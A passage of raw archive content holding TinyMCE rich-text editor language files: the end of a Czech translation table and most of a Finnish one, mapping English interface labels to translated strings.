"Cell spacing": "Vn\u011bj\u0161\u00ed okraj bun\u011bk",
"Cell padding": "Vnit\u0159n\u00ed okraj bun\u011bk",
"Caption": "Titulek",
"Show caption": "Popisek pod obr\u00e1zkem",
"Left": "Vlevo",
"Center": "Na st\u0159ed",
"Right": "Vpravo",
"Cell type": "Typ bu\u0148ky",
"Scope": "Rozsah",
"Alignment": "Zarovn\u00e1n\u00ed",
"H Align": "Horizont\u00e1ln\u00ed zarovn\u00e1n\u00ed",
"V Align": "Vertik\u00e1ln\u00ed zarovn\u00e1n\u00ed",
"Top": "Nahoru",
"Middle": "Na st\u0159ed",
"Bottom": "Dol\u016f",
"Header cell": "Hlavi\u010dkov\u00e1 bu\u0148ka",
"Row group": "Skupina \u0159\u00e1dk\u016f",
"Column group": "Skupina sloupc\u016f",
"Row type": "Typ \u0159\u00e1dku",
"Header": "Hlavi\u010dka",
"Body": "T\u011blo",
"Footer": "Pati\u010dka",
"Border color": "Barva r\u00e1me\u010dku",
"Insert template...": "Vlo\u017eit \u0161ablonu...",
"Templates": "\u0160ablony",
"Template": "\u0160ablona",
"Text color": "Barva p\u00edsma",
"Background color": "Barva pozad\u00ed",
"Custom...": "Vlastn\u00ed",
"Custom color": "Vlastn\u00ed barva",
"No color": "Bez barvy",
"Remove color": "Odebrat barvu",
"Table of Contents": "Generovat obsah",
"Show blocks": "Uk\u00e1zat bloky",
"Show invisible characters": "Uk\u00e1zat skryt\u00e9 znaky",
"Word count": "Po\u010det slov",
"Count": "Po\u010det",
"Document": "Dokument",
"Selection": "V\u00fdb\u011br",
"Words": "Slova",
"Words: {0}": "Slova: {0}",
"{0} words": "{0} slov",
"File": "Soubor",
"Edit": "\u00dapravy",
"Insert": "Vlo\u017eit",
"View": "Zobrazit",
"Format": "Form\u00e1t",
"Table": "Tabulka",
"Tools": "N\u00e1stroje",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "RTF dokument. Stikn\u011bte ALT-F9 pro zobrazen\u00ed menu, ALT-F10 pro zobrazen\u00ed n\u00e1strojov\u00e9 li\u0161ty, ALT-0 pro n\u00e1pov\u011bdu.",
"Image title": "Titulek obr\u00e1zku",
"Border width": "\u0160\u00ed\u0159ka ohrani\u010den\u00ed",
"Border style": "Styl ohrani\u010den\u00ed",
"Error": "Chyba",
"Warn": "Varov\u00e1n\u00ed",
"Valid": "Platn\u00fd",
"To open the popup, press Shift+Enter": "Vyskakovac\u00ed okno otev\u0159ete stisknut\u00edm Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Oblast Rich Text, stiskn\u011bte ALT-0 pro n\u00e1pov\u011bdu.",
"System Font": "Syst\u00e9mov\u00e9 p\u00edsmo",
"Failed to upload image: {0}": "Nahr\u00e1n\u00ed obr\u00e1zku selhalo: {0}",
"Failed to load plugin: {0} from url {1}": "Na\u010dten\u00ed pluginu selhalo: {0} z URL {1}",
"Failed to load plugin url: {0}": "Na\u010dten\u00ed pluginu URL selhalo: {0}",
"Failed to initialize plugin: {0}": "Inicializace pluginu selhala:",
"example": "p\u0159\u00edklad",
"Search": "Hledat",
"All": "V\u0161e",
"Currency": "M\u011bna",
"Text": "Text",
"Quotations": "Citace",
"Mathematical": "Matematick\u00e9 symboly",
"Extended Latin": "Roz\u0161\u00ed\u0159en\u00e1 latinka",
"Symbols": "Symboly",
"Arrows": "\u0160ipky",
"User Defined": "Definovan\u00e9 u\u017eivatelem",
"dollar sign": "znak dolaru",
"currency sign": "znak m\u011bny",
"euro-currency sign": "znak euro",
"colon sign": "znak dvojte\u010dky",
"cruzeiro sign": "znak cruzeiro",
"french franc sign": "znak francouzsk\u00e9ho franku",
"lira sign": "znak liry",
"mill sign": "znak mill",
"naira sign": "znak nairy",
"peseta sign": "znak pesety",
"rupee sign": "znak rupie",
"won sign": "znak wonu",
"new sheqel sign": "znak nov\u00e9ho \u0161ekelu",
"dong sign": "znak dongu",
"kip sign": "znak kipu",
"tugrik sign": "znak tugriku",
"drachma sign": "znak drachmy",
"german penny symbol": "znak n\u011bmeck\u00e9ho feniku",
"peso sign": "znak pesa",
"guarani sign": "znak guaran\u00ed",
"austral sign": "znak austral",
"hryvnia sign": "znak h\u0159ivny",
"cedi sign": "znak cedi",
"livre tournois sign": "znak tournois libry",
"spesmilo sign": "znak spesmilo",
"tenge sign": "znak tenge",
"indian rupee sign": "znak indick\u00e9 rupie",
"turkish lira sign": "znak tureck\u00e9 liry",
"nordic mark sign": "znak norsk\u00e9 marky",
"manat sign": "znak manatu",
"ruble sign": "znak rublu",
"yen character": "znak jenu",
"yuan character": "znak juanu",
"yuan character, in hong kong and taiwan": "znak juanu v hongkongu a tchaj-wanu",
"yen\/yuan character variant one": "znak jenu\/juanu, varianta 1",
"Loading emoticons...": "Na\u010d\u00edt\u00e1n\u00ed emotikon\u016f...",
"Could not load emoticons": "Nelze na\u010d\u00edst emotikony",
"People": "Lid\u00e9",
"Animals and Nature": "Zv\u00ed\u0159ata a p\u0159\u00edroda",
"Food and Drink": "J\u00eddlo a pit\u00ed",
"Activity": "Aktivita",
"Travel and Places": "Cestov\u00e1n\u00ed a m\u00edsta",
"Objects": "Objekty",
"Flags": "Vlajky",
"Characters": "Znaky",
"Characters (no spaces)": "Znaky (bez mezer)",
"{0} characters": "{0} znak\u016f",
"Error: Form submit field collision.": "Chyba: Kolize odes\u00edlac\u00edho formul\u00e1\u0159ov\u00e9ho pole.",
"Error: No form element found.": "Chyba: Nebyl nalezen \u017e\u00e1dn\u00fd prvek formul\u00e1\u0159e.",
"Update": "Aktualizovat",
"Color swatch": "Vzorek barvy",
"Turquoise": "Tyrkysov\u00e1",
"Green": "Zelen\u00e1",
"Blue": "Modr\u00e1",
"Purple": "Fialov\u00e1",
"Navy Blue": "N\u00e1mo\u0159nick\u00e1 mod\u0159",
"Dark Turquoise": "Tmav\u011b tyrkysov\u00e1",
"Dark Green": "Tmav\u011b zelen\u00e1",
"Medium Blue": "St\u0159edn\u011b modr\u00e1",
"Medium Purple": "St\u0159edn\u011b fialov\u00e1",
"Midnight Blue": "P\u016flno\u010dn\u00ed modr\u00e1",
"Yellow": "\u017dlut\u00e1",
"Orange": "Oran\u017eov\u00e1",
"Red": "\u010cerven\u00e1",
"Light Gray": "Sv\u011btle \u0161ed\u00e1",
"Gray": "\u0160ed\u00e1",
"Dark Yellow": "Tmav\u011b \u017elut\u00e1",
"Dark Orange": "Tmav\u011b oran\u017eov\u00e1",
"Dark Red": "Tmav\u011b \u010derven\u00e1",
"Medium Gray": "St\u0159edn\u011b \u0161ed\u00e1",
"Dark Gray": "Tmav\u011b \u0161ed\u00e1",
"Light Green": "Sv\u011btle zelen\u00e1",
"Light Yellow": "Sv\u011btle \u017elut\u00e1",
"Light Red": "Sv\u011btle \u010derven\u00e1",
"Light Purple": "Sv\u011btle fialov\u00e1",
"Light Blue": "Sv\u011btle modr\u00e1",
"Dark Purple": "Tmav\u011b fialov\u00e1",
"Dark Blue": "Tmav\u011b modr\u00e1",
"Black": "\u010cern\u00e1",
"White": "B\u00edl\u00e1",
"Switch to or from fullscreen mode": "P\u0159ep\u00edn\u00e1n\u00ed mezi re\u017eimem cel\u00e9 obrazovky",
"Open help dialog": "Otev\u0159\u00edt okno n\u00e1pov\u011bdy",
"history": "historie",
"styles": "styly",
"formatting": "form\u00e1tov\u00e1n\u00ed",
"alignment": "zarovn\u00e1n\u00ed",
"indentation": "odsazen\u00ed",
"Font": "P\u00edsmo",
"Size": "Velikost",
"More...": "Dal\u0161\u00ed\u2026",
"Select...": "Vybrat",
"Preferences": "Preference",
"Yes": "Ano",
"No": "Ne",
"Keyboard Navigation": "Navigace pomoc\u00ed kl\u00e1vesnice",
"Version": "Verze",
"Code view": "Zobrazit k\u00f3d",
"Open popup menu for split buttons": "Otev\u0159ete vyskakovac\u00ed nab\u00eddku pro rozd\u011blen\u00e1 tla\u010d\u00edtka",
"List Properties": "Vlastnosti seznamu",
"List properties...": "Vlastnosti seznamu...",
"Start list at number": "Po\u010d\u00e1te\u010dn\u00ed \u010d\u00edslo seznamu",
"Line height": "V\u00fd\u0161ka \u0159\u00e1dku",
"comments": "koment\u00e1\u0159e",
"Format Painter": "Kop\u00edrovat form\u00e1t",
"Insert\/edit iframe": "Vlo\u017eit \/ upravit prvek iframe",
"Capitalization": "Velk\u00e1 p\u00edsmena",
"lowercase": "mal\u00e1 p\u00edsmena",
"UPPERCASE": "VELK\u00c1 P\u00cdSMENA",
"Title Case": "V\u0161echna Prvn\u00ed Velk\u00e1",
"permanent pen": "permanentn\u00ed pero",
"Permanent Pen Properties": "Vlastnosti permanentn\u00edho pera",
"Permanent pen properties...": "Vlastnosti permanentn\u00edho pera\u2026",
"case change": "Zm\u011bna velikosti p\u00edsma",
"page embed": "Vlo\u017een\u00ed str\u00e1nky",
"Advanced sort...": "Roz\u0161\u00ed\u0159en\u00e9 \u0159azen\u00ed...",
"Advanced Sort": "Roz\u0161\u00ed\u0159en\u00e9 \u0159azen\u00ed",
"Sort table by column ascending": "Se\u0159adit tabulku podle sloupce vzestupn\u011b",
"Sort table by column descending": "Se\u0159adit tabulku podle sloupce sestupn\u011b",
"Sort": "\u0158adit",
"Order": "\u0158azen\u00ed",
"Sort by": "\u0158adit dle",
"Ascending": "Vzestupn\u011b",
"Descending": "Sestupn\u011b",
"Column {0}": "Sloupec {0}",
"Row {0}": "\u0158\u00e1dek {0}",
"Spellcheck...": "Kontrola pravopisu",
"Misspelled word": "\u0160patn\u011b napsan\u00e9 slovo",
"Suggestions": "N\u00e1vrhy",
"Change": "Zm\u011bnit",
"Finding word suggestions": "Hled\u00e1n\u00ed n\u00e1vrh\u016f slov",
"Success": "\u00dasp\u011b\u0161n\u00e9",
"Repair": "Opraveno",
"Issue {0} of {1}": "Probl\u00e9m {0} z {1}",
"Images must be marked as decorative or have an alternative text description": "Obr\u00e1zky mus\u00ed b\u00fdt ozna\u010deny jako dekorativn\u00ed nebo mus\u00ed m\u00edt alternativn\u00ed textov\u00fd popis.",
"Images must have an alternative text description. Decorative images are not allowed.": "Obr\u00e1zky mus\u00ed m\u00edt alternativn\u00ed textov\u00fd popis. Dekorativn\u00ed obr\u00e1zky nejsou povoleny.",
"Or provide alternative text:": "Nebo zadejte alternativn\u00ed text:",
"Make image decorative:": "Nastavit obr\u00e1zek jako dekorativn\u00ed:",
"ID attribute must be unique": "ID atributu mus\u00ed b\u00fdt jedine\u010dn\u00e9",
"Make ID unique": "Nastavit ID jako jedine\u010dn\u00e9",
"Keep this ID and remove all others": "Ponechat toto ID a odstranit v\u0161echny ostatn\u00ed",
"Remove this ID": "Odebrat toto ID",
"Remove all IDs": "Odebrat v\u0161echna ID",
"Checklist": "Kontroln\u00ed seznam",
"Anchor": "Kotva",
"Special character": "Speci\u00e1ln\u00ed znak",
"Code sample": "Uk\u00e1zka k\u00f3du",
"Color": "Barva",
"Document properties": "Vlastnosti dokumentu",
"Image description": "Popis obr\u00e1zku",
"Image": "Obr\u00e1zek",
"Insert link": "Vlo\u017eit odkaz",
"Target": "C\u00edl",
"Link": "Odkaz",
"Poster": "Poster",
"Media": "M\u00e9dia",
"Print": "Tisk",
"Prev": "P\u0159edchoz\u00ed",
"Find and replace": "Naj\u00edt a nahradit",
"Whole words": "Pouze cel\u00e1 slova",
"Insert template": "Vlo\u017eit ze \u0161ablony"
});PK
h�\��[�%?%?program/js/tinymce/langs/fi.jsnu�[���tinymce.addI18n('fi',{
"Redo": "Tee uudelleen",
"Undo": "Kumoa",
"Cut": "Leikkaa",
"Copy": "Kopioi",
"Paste": "Liit\u00e4",
"Select all": "Valitse kaikki",
"New document": "Uusi asiakirja",
"Ok": "Ok",
"Cancel": "Peruuta",
"Visual aids": "Visuaaliset neuvot",
"Bold": "Lihavoitu",
"Italic": "Kursivoitu",
"Underline": "Alleviivaus",
"Strikethrough": "Yliviivaus",
"Superscript": "Yl\u00e4indeksi",
"Subscript": "Alaindeksi",
"Clear formatting": "Poista muotoilu",
"Align left": "Tasaa vasemmalle",
"Align center": "Tasaa keskelle",
"Align right": "Tasaa oikealle",
"Justify": "Tasaus",
"Bullet list": "J\u00e4rjest\u00e4m\u00e4t\u00f6n lista",
"Numbered list": "J\u00e4rjestetty lista",
"Decrease indent": "Sisenn\u00e4",
"Increase indent": "Loitonna",
"Close": "Sulje",
"Formats": "Muotoilut",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Selaimesi ei tue leikep\u00f6yd\u00e4n suoraa k\u00e4ytt\u00e4mist\u00e4. Ole hyv\u00e4 ja k\u00e4yt\u00e4 n\u00e4pp\u00e4imist\u00f6n Ctrl+X\/C\/V n\u00e4pp\u00e4inyhdistelmi\u00e4.",
"Headers": "Otsikot",
"Header 1": "Otsikko 1",
"Header 2": "Otsikko 2",
"Header 3": "Otsikko 3",
"Header 4": "Otsikko 4",
"Header 5": "Otsikko 5",
"Header 6": "Otsikko 6",
"Headings": "Otsikot",
"Heading 1": "Otsikko 1",
"Heading 2": "Otsikko 2",
"Heading 3": "Otsikko 3",
"Heading 4": "Otsikko 4",
"Heading 5": "Otsikko 5",
"Heading 6": "Otsikko 6",
"Preformatted": "Esimuotoiltu",
"Div": "Div",
"Pre": "Pre",
"Code": "Koodi",
"Paragraph": "Kappale",
"Blockquote": "Lohkolainaus",
"Inline": "Samalla rivill\u00e4",
"Blocks": "Lohkot",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Liitt\u00e4minen on nyt pelk\u00e4n tekstin -tilassa. Sis\u00e4ll\u00f6t liitet\u00e4\u00e4n nyt pelkk\u00e4n\u00e4 tekstin\u00e4, kunnes otat vaihtoehdon pois k\u00e4yt\u00f6st\u00e4.",
"Fonts": "Fontti",
"Font Sizes": "Fonttikoko",
"Class": "Luokka",
"Browse for an image": "Selaa kuvia",
"OR": "TAI",
"Drop an image here": "Pudota kuva t\u00e4h\u00e4n",
"Upload": "Vie",
"Block": "Lohko",
"Align": "Tasaa",
"Default": "Oletus",
"Circle": "Pallo",
"Disc": "Ympyr\u00e4",
"Square": "Neli\u00f6",
"Lower Alpha": "pienet kirjaimet: a, b, c",
"Lower Greek": "pienet kirjaimet: \u03b1, \u03b2, \u03b3",
"Lower Roman": "pienet kirjaimet: i, ii, iii",
"Upper Alpha": "isot kirjaimet: A, B, C",
"Upper Roman": "isot kirjaimet: I, II, III",
"Anchor...": "Ankkuri...",
"Name": "Nimi",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id voi alkaa kirjaimella, sen j\u00e4lkeen voi k\u00e4ytt\u00e4\u00e4 kirjaimia, numeroja, viivoja, pisteit\u00e4, kaksoispistett\u00e4 ja alaviivausta",
"You have unsaved changes are you sure you want to navigate away?": "Sinulla on tallentamattomia muutoksia, haluatko varmasti siirty\u00e4 toiselle sivulle?",
"Restore last draft": "Palauta aiempi luonnos",
"Special character...": "Erikoismerkki...",
"Source code": "L\u00e4hdekoodi",
"Insert\/Edit code sample": "Lis\u00e4\u00e4\/muokkaa koodiesimerkki",
"Language": "Kieli",
"Code sample...": "Koodin\u00e4yte...",
"Color Picker": "V\u00e4rivalitsin",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Vasemmalta oikealle",
"Right to left": "Oikealta vasemmalle",
"Emoticons...": "Emoticonit...",
"Metadata and Document Properties": "Metadata ja asiakirjan ominaisuudet",
"Title": "Otsikko",
"Keywords": "Avainsanat",
"Description": "Kuvaus",
"Robots": "Robotit",
"Author": "Tekij\u00e4",
"Encoding": "Merkist\u00f6",
"Fullscreen": "Koko ruutu",
"Action": "Toiminto",
"Shortcut": "Oikotie",
"Help": "Ohje",
"Address": "Osoite",
"Focus to menubar": "Kohdistus valikkoon",
"Focus to toolbar": "Kohdistus ty\u00f6kalupalkkiin",
"Focus to element path": "Kohdistus elementtiin",
"Focus to contextual toolbar": "Kohdistus kontekstuaaliseen ty\u00f6kalupalkkiin",
"Insert link (if link plugin activated)": "Lis\u00e4\u00e4 linkki (jos linkki-liit\u00e4nn\u00e4inen aktiivinen)",
"Save (if save plugin activated)": "Tallenna (jos tallenna-liit\u00e4nn\u00e4inen aktiivinen)",
"Find (if searchreplace plugin activated)": "Etsi (jos etsikorvaa-liit\u00e4nn\u00e4inen aktiivinen)",
"Plugins installed ({0}):": "Asennetut liit\u00e4nn\u00e4iset ({0}):",
"Premium plugins:": "Premium liit\u00e4nn\u00e4iset:",
"Learn more...": "Lis\u00e4tietoja...",
"You are using {0}": "K\u00e4yt\u00e4t {0}",
"Plugins": "Liit\u00e4nn\u00e4iset",
"Handy Shortcuts": "K\u00e4tev\u00e4t pikan\u00e4pp\u00e4imet",
"Horizontal line": "Vaakasuora viiva",
"Insert\/edit image": "Lis\u00e4\u00e4\/muokkaa kuva",
"Image description": "Kuvaus",
"Source": "L\u00e4hde",
"Dimensions": "Mittasuhteet",
"Constrain proportions": "S\u00e4ilyt\u00e4 mittasuhteet",
"General": "Yleiset",
"Advanced": "Lis\u00e4asetukset",
"Style": "Tyyli",
"Vertical space": "Vertikaalinen tila",
"Horizontal space": "Horisontaalinen tila",
"Border": "Reunus",
"Insert image": "Lis\u00e4\u00e4 kuva",
"Image...": "Kuva...",
"Image list": "Kuvalista",
"Rotate counterclockwise": "Kierr\u00e4 vastap\u00e4iv\u00e4\u00e4n",
"Rotate clockwise": "Kierr\u00e4 my\u00f6t\u00e4p\u00e4iv\u00e4\u00e4n",
"Flip vertically": "K\u00e4\u00e4nn\u00e4 pystysuunnassa",
"Flip horizontally": "K\u00e4\u00e4nn\u00e4 vaakasuunnassa",
"Edit image": "Muokkaa kuvaa",
"Image options": "Kuvan asetukset",
"Zoom in": "L\u00e4henn\u00e4",
"Zoom out": "Loitonna",
"Crop": "Rajaa valintaan",
"Resize": "Kuvan koon muutos",
"Orientation": "Suunta",
"Brightness": "Kirkkaus",
"Sharpen": "Ter\u00e4vyys",
"Contrast": "Kontrasti",
"Color levels": "V\u00e4ritasot",
"Gamma": "Gamma",
"Invert": "K\u00e4\u00e4nteinen",
"Apply": "Aseta",
"Back": "Takaisin",
"Insert date\/time": "Lis\u00e4\u00e4 p\u00e4iv\u00e4m\u00e4\u00e4r\u00e4 tai aika",
"Date\/time": "P\u00e4iv\u00e4m\u00e4\u00e4r\u00e4\/aika",
"Insert\/Edit Link": "Lis\u00e4\u00e4 linkki\/muokkaa linkki\u00e4",
"Insert\/edit link": "Lis\u00e4\u00e4\/muokkaa linkki",
"Text to display": "N\u00e4ytett\u00e4v\u00e4 teksti",
"Url": "Osoite",
"Open link in...": "Avaa linkki...",
"Current window": "Nykyinen ikkuna",
"None": "Ei mit\u00e4\u00e4n",
"New window": "Uusi ikkuna",
"Remove link": "Poista linkki",
"Anchors": "Ankkurit",
"Link...": "Linkki...",
"Paste or type a link": "Sijoita tai kirjoita linkki",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Antamasi osoite n\u00e4ytt\u00e4\u00e4 olevan s\u00e4hk\u00f6postiosoite. Haluatko lis\u00e4t\u00e4 osoitteeseen vaaditun mailto: -etuliitteen?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Antamasi osoite n\u00e4ytt\u00e4\u00e4 olevan ulkoinen linkki. Haluatko lis\u00e4t\u00e4 osoitteeseen vaaditun http:\/\/ -etuliitteen?",
"Link list": "Linkkilista",
"Insert video": "Lis\u00e4\u00e4 video",
"Insert\/edit video": "Lis\u00e4\u00e4\/muokkaa video",
"Insert\/edit media": "Lis\u00e4\u00e4\/muokkaa media",
"Alternative source": "Vaihtoehtoinen l\u00e4hde",
"Alternative source URL": "Vaihtoehtoinen l\u00e4hde-URL",
"Media poster (Image URL)": "Median julkaisija (kuvan URL)",
"Paste your embed code below:": "Liit\u00e4 upotuskoodisi alapuolelle:",
"Embed": "Upota",
"Media...": "Media...",
"Nonbreaking space": "Sitova v\u00e4lily\u00f6nti",
"Page break": "Sivunvaihto",
"Paste as text": "Liit\u00e4 tekstin\u00e4",
"Preview": "Esikatselu",
"Print...": "Tulosta",
"Save": "Tallenna",
"Find": "Etsi",
"Replace with": "Korvaa",
"Replace": "Korvaa",
"Replace all": "Korvaa kaikki",
"Previous": "Edellinen",
"Next": "Seur.",
"Find and replace...": "Etsi ja korvaa...",
"Could not find the specified string.": "Haettua merkkijonoa ei l\u00f6ytynyt.",
"Match case": "Erota isot ja pienet kirjaimet",
"Find whole words only": "Etsi vain kokonaisia sanoja",
"Spell check": "Oikeinkirjoituksen tarkistus",
"Ignore": "\u00c4l\u00e4 huomioi",
"Ignore all": "\u00c4l\u00e4 huomioi mit\u00e4\u00e4n",
"Finish": "Lopeta",
"Add to Dictionary": "Lis\u00e4\u00e4 sanakirjaan",
"Insert table": "Lis\u00e4\u00e4 taulukko",
"Table properties": "Taulukon ominaisuudet",
"Delete table": "Poista taulukko",
"Cell": "Solu",
"Row": "Rivi",
"Column": "Sarake",
"Cell properties": "Solun ominaisuudet",
"Merge cells": "Yhdist\u00e4 solut",
"Split cell": "Jaa solu",
"Insert row before": "Lis\u00e4\u00e4 rivi ennen",
"Insert row after": "Lis\u00e4\u00e4 rivi j\u00e4lkeen",
"Delete row": "Poista rivi",
"Row properties": "Rivin ominaisuudet",
"Cut row": "Leikkaa rivi",
"Copy row": "Kopioi rivi",
"Paste row before": "Liit\u00e4 rivi ennen",
"Paste row after": "Liit\u00e4 rivi j\u00e4lkeen",
"Insert column before": "Lis\u00e4\u00e4 rivi ennen",
"Insert column after": "Lis\u00e4\u00e4 rivi j\u00e4lkeen",
"Delete column": "Poista sarake",
"Cols": "Sarakkeet",
"Rows": "Rivit",
"Width": "Leveys",
"Height": "Korkeus",
"Cell spacing": "Solun v\u00e4li",
"Cell padding": "Solun tyhj\u00e4 tila",
"Show caption": "N\u00e4yt\u00e4 kuvateksti",
"Left": "Vasen",
"Center": "Keskell\u00e4",
"Right": "Oikea",
"Cell type": "Solun tyyppi",
"Scope": "Laajuus",
"Alignment": "Tasaus",
"H Align": "H tasaus",
"V Align": "V tasaus",
"Top": "Yl\u00e4reuna",
"Middle": "Keskikohta",
"Bottom": "Alareuna",
"Header cell": "Otsikkosolu",
"Row group": "Riviryhm\u00e4",
"Column group": "Sarakeryhm\u00e4",
"Row type": "Rivityyppi",
"Header": "Otsikko",
"Body": "Runko",
"Footer": "Alaosa",
"Border color": "Reunuksen v\u00e4ri",
"Insert template...": "Lis\u00e4\u00e4 malli...",
"Templates": "Pohjat",
"Template": "Pohja",
"Text color": "Tekstin v\u00e4ri",
"Background color": "Taustan v\u00e4ri",
"Custom...": "Mukauta...",
"Custom color": "Mukautettu v\u00e4ri",
"No color": "Ei v\u00e4ri\u00e4",
"Remove color": "Poista v\u00e4ri",
"Table of Contents": "Sis\u00e4llysluettelo",
"Show blocks": "N\u00e4yt\u00e4 lohkot",
"Show invisible characters": "N\u00e4yt\u00e4 n\u00e4kym\u00e4tt\u00f6m\u00e4t merkit",
"Word count": "Sanam\u00e4\u00e4r\u00e4",
"Count": "M\u00e4\u00e4r\u00e4",
"Document": "Tiedosto",
"Selection": "Valinta",
"Words": "Sanaa",
"Words: {0}": "Sanat: {0}",
"{0} words": "{0} sanaa",
"File": "Tiedosto",
"Edit": "Muokkaa",
"Insert": "Lis\u00e4\u00e4",
"View": "N\u00e4yt\u00e4",
"Format": "Muotoilu",
"Table": "Taulukko",
"Tools": "Ty\u00f6kalut",
"Powered by {0}": "Tehty {0}:ll\u00e4",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rikastetun tekstin alue. Paina ALT-F9 valikkoon. Paina ALT-F10 ty\u00f6kaluriviin. Paina ALT-0 ohjeeseen.",
"Image title": "Kuvan otsikko",
"Border width": "Reunuksen leveys",
"Border style": "Reunuksen tyyli",
"Error": "Virhe",
"Warn": "Varoitus",
"Valid": "Voimassa",
"To open the popup, press Shift+Enter": "Avaa ponnahdusikkuna painamalla Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Rikastetun tekstin alue. Avaa ohje painamalla ALT-0.",
"System Font": "J\u00e4rjestelm\u00e4fontti",
"Failed to upload image: {0}": "Kuvan lataus ep\u00e4onnistui: {0}",
"Failed to load plugin: {0} from url {1}": "Liit\u00e4nn\u00e4isen lataus ep\u00e4onnistui: {0} url:st\u00e4 {1}",
"Failed to load plugin url: {0}": "Liit\u00e4nn\u00e4isen url:n lataus ep\u00e4onnistui: {0}",
"Failed to initialize plugin: {0}": "Liit\u00e4nn\u00e4isen alustus ep\u00e4onnistui: {0}",
"example": "esimerkki",
"Search": "Etsi",
"All": "Kaikki",
"Currency": "Valuutta",
"Text": "Teksti",
"Quotations": "Lainaukset",
"Mathematical": "Matemaattiset",
"Extended Latin": "Laajennettu latina",
"Symbols": "Symbolit",
"Arrows": "Nuolet",
"User Defined": "K\u00e4ytt\u00e4j\u00e4m\u00e4\u00e4ritetty",
"dollar sign": "dollarimerkki",
"currency sign": "valuuttamerkki",
"euro-currency sign": "eurovaluuttamerkki",
"colon sign": "kaksoispisteen merkki",
"cruzeiro sign": "cruzeiro-merkki",
"french franc sign": "ranskalaisen frangin merkki",
"lira sign": "liiran merkki",
"mill sign": "millin merkki",
"naira sign": "nairan merkki",
"peseta sign": "pesetan merkki",
"rupee sign": "rupian merkki",
"won sign": "wonin merkki",
"new sheqel sign": "uuden sekelin merkki",
"dong sign": "dongin merkki",
"kip sign": "kipin merkki",
"tugrik sign": "tugrikin merkki",
"drachma sign": "drakman merkki",
"german penny symbol": "saksalaisen pennin merkki",
"peso sign": "peson merkki",
"guarani sign": "guaranin merkki",
"austral sign": "australin merkki",
"hryvnia sign": "hryvnian merkki",
"cedi sign": "cedin merkki",
"livre tournois sign": "livre tournoisin merkki",
"spesmilo sign": "spesmilon merkki",
"tenge sign": "tengen merkki",
"indian rupee sign": "intialaisen rupian merkki",
"turkish lira sign": "turkkilaisen liiran merkki",
"nordic mark sign": "pohjoismaisen markan merkki",
"manat sign": "manatin merkki",
"ruble sign": "ruplan merkki",
"yen character": "jenin merkki",
"yuan character": "juanin merkki",
"yuan character, in hong kong and taiwan": "juanin merkki, Hongkongissa ja Taiwanissa",
"yen\/yuan character variant one": "jenin\/juanin merkin variantti",
"Loading emoticons...": "Ladataan emoticoneja...",
"Could not load emoticons": "Emoticoneja ei voitu ladata",
"People": "Ihmiset",
"Animals and Nature": "El\u00e4imet ja luonto",
"Food and Drink": "Ruoka ja juoma",
"Activity": "Aktiviteetit",
"Travel and Places": "Matkailu ja paikat",
"Objects": "Esineet",
"Flags": "Liput",
"Characters": "Merkki\u00e4",
"Characters (no spaces)": "Merkki\u00e4 (ilman v\u00e4lily\u00f6ntej\u00e4)",
"{0} characters": "{0} merkki\u00e4",
"Error: Form submit field collision.": "Virhe: lomakkeen l\u00e4hetyskent\u00e4n t\u00f6rm\u00e4ys.",
"Error: No form element found.": "Virhe: muotoelementti\u00e4 ei l\u00f6ytynyt.",
"Update": "P\u00e4ivit\u00e4",
"Color swatch": "V\u00e4rin\u00e4yte",
"Turquoise": "Turkoosi",
"Green": "Vihre\u00e4",
"Blue": "Sininen",
"Purple": "Purppura",
"Navy Blue": "Laivastonsininen",
"Dark Turquoise": "Tumma turkoosi",
"Dark Green": "Tumma vihre\u00e4",
"Medium Blue": "Keskitumma sininen",
"Medium Purple": "Keskitumma purppura",
"Midnight Blue": "keskiy\u00f6n sininen",
"Yellow": "Keltainen",
"Orange": "Oranssi",
"Red": "Punainen",
"Light Gray": "Vaaleanharmaa",
"Gray": "Harmaa",
"Dark Yellow": "Tummankeltainen",
"Dark Orange": "Tumma oranssi",
"Dark Red": "Tumma punainen",
"Medium Gray": "Keskiharmaa",
"Dark Gray": "Tummanharmaa",
"Light Green": "Vaaleanvihre\u00e4",
"Light Yellow": "Vaaleankeltainen",
"Light Red": "Vaaleanpunainen",
"Light Purple": "Liila",
"Light Blue": "Vaaleansininen",
"Dark Purple": "Tummanvioletti",
"Dark Blue": "Tummansininen",
"Black": "Musta",
"White": "Valkoinen",
"Switch to or from fullscreen mode": "Vaihda kokon\u00e4ytt\u00f6\u00f6n tai kokon\u00e4yt\u00f6st\u00e4",
"Open help dialog": "Avaa ohjeen valintaikkuna",
"history": "historia",
"styles": "tyylit",
"formatting": "muotoiltu",
"alignment": "tasaus",
"indentation": "sisennys",
"permanent pen": "pysyv\u00e4 kyn\u00e4",
"comments": "kommentit",
"Format Painter": "Muotoilusivellin",
"Insert\/edit iframe": "Lis\u00e4\u00e4\/muokkaa iframe-kehyst\u00e4",
"Capitalization": "Kapitalisointi",
"lowercase": "pienaakkoset",
"UPPERCASE": "SUURAAKKOSET",
"Title Case": "Otsikon kapitalisointi",
"Permanent Pen Properties": "Pysyv\u00e4t kyn\u00e4n ominaisuudet",
"Permanent pen properties...": "Pysyv\u00e4t kyn\u00e4n ominaisuudet...",
"Font": "Fontti",
"Size": "Koko",
"More...": "Lis\u00e4\u00e4...",
"Spellcheck Language": "Oikoluvun kieli",
"Select...": "Valitse...",
"Preferences": "Asetukset",
"Yes": "Kyll\u00e4",
"No": "Ei",
"Keyboard Navigation": "Navigointi n\u00e4pp\u00e4imist\u00f6ll\u00e4",
"Version": "Versio",
"Anchor": "Ankkuri",
"Special character": "Erikoismerkki",
"Code sample": "Koodiesimerkki",
"Color": "V\u00e4ri",
"Emoticons": "Hymi\u00f6t",
"Document properties": "Dokumentin ominaisuudet",
"Image": "Kuva",
"Insert link": "Lis\u00e4\u00e4 linkki",
"Target": "Kohde",
"Link": "Linkki",
